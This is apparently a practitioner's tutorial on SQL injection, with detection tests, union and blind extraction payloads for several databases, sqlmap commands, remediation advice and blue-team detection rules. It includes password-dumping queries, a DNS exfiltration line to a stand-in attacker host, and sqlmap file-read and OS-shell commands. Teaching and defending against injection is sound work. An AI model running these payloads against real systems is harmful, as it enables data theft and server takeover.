SQL injection is twenty-five years old and still in the OWASP Top 10. This guide covers detection, exploitation, automation with sqlmap, and modern defenses — with examples that work on real, modern stacks.
Detection: The First Tick
The classic single-quote test still works against bad code:
GET /products?id=1' HTTP/1.1
But modern apps fail silently. Better detection:
- Boolean differential —
id=1 AND 1=1vsid=1 AND 1=2. Different responses → likely SQLi. - Time-based —
id=1; SELECT pg_sleep(5)--. If response time differs by ~5s, time-based blind SQLi is in play. - Error-based — submit garbage and inspect responses for stack traces, ODBC errors, or column-count mismatches.
Union-Based Exploitation
Once you have an injection point that reflects data, UNION SELECT is the fastest path to dumping a database.
-- Step 1: find column count
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3-- -- error → 2 columns
-- Step 2: confirm reflectable columns
?id=-1 UNION SELECT 1,2-- -- which numbers appear in the page?
-- Step 3: enumerate schema
?id=-1 UNION SELECT table_name, NULL FROM information_schema.tables--
-- Step 4: dump
?id=-1 UNION SELECT username, password FROM users--
Blind SQLi — Boolean
When no data reflects but the response differs for true vs false conditions:
?id=1 AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a'--
Iterate character-by-character. Hand this to sqlmap unless you’re in a CTF.
Blind SQLi — Time-Based
When no data reflects and responses look identical:
-- MySQL
?id=1 AND IF(SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0)--
-- PostgreSQL
?id=1 AND CASE WHEN (SELECT 1 FROM users WHERE password LIKE 'a%') THEN pg_sleep(5) ELSE pg_sleep(0) END--
-- MSSQL
?id=1; IF (SUBSTRING((SELECT TOP 1 password FROM users),1,1)='a') WAITFOR DELAY '0:0:5'--
Out-of-Band (OOB)
When you have no in-band feedback, exfiltrate via DNS or HTTP from the database server itself.
-- MSSQL — DNS exfil via xp_dirtree
'; EXEC master..xp_dirtree '\\' + (SELECT TOP 1 password FROM users) + '.attacker.com\share'--
sqlmap — Use It Right
# Test a single parameter, save the session
sqlmap -u "https://target/api/items?id=1" \
-p id --batch --random-agent \
--level=3 --risk=2 \
--dbms=postgresql
# POST data
sqlmap -u "https://target/login" --data="user=admin&pass=test" \
-p user --batch
# Cookie injection
sqlmap -u "https://target/" --cookie="session=abc123" -p session --level=3
# Read a file
sqlmap -u "..." --file-read=/etc/passwd
# Pop a shell on MySQL with FILE_PRIV
sqlmap -u "..." --os-shell
--batch --technique=B --risk=1 --level=1 until you have explicit written scope.Remediation
Parameterized queries. That’s it. Stored procedures help, escaping doesn’t (escape functions miss edge cases like wide-byte encoding and quote-stripping ORMs). Database least-privilege limits blast radius — your web service user should never own xp_cmdshell or pg_execute_server_program.
// Vulnerable
db.query(`SELECT * FROM users WHERE id = ${userId}`)
// Safe
db.query('SELECT * FROM users WHERE id = $1', [userId])
Detection in the Blue Team
- WAF rules: ModSecurity CRS catches the common patterns but can be bypassed by encoding and case variation.
- DB audit logs: PostgreSQL
pgaudit, MySQLgeneral_log. Forward to SIEM and alert onUNION SELECT,information_schema,pg_sleep,WAITFOR DELAY. - Anomaly on query shape: query parsers (Datadog DBM, others) hash query templates — alert when a new template appears from a web app.